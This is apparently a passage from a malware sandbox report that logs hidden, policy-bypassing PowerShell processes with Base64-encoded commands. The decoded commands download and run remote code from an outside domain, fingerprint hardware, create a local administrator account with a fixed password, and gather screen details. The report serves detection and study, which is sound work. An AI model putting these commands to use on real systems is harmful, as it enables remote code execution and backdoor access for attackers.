jAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBb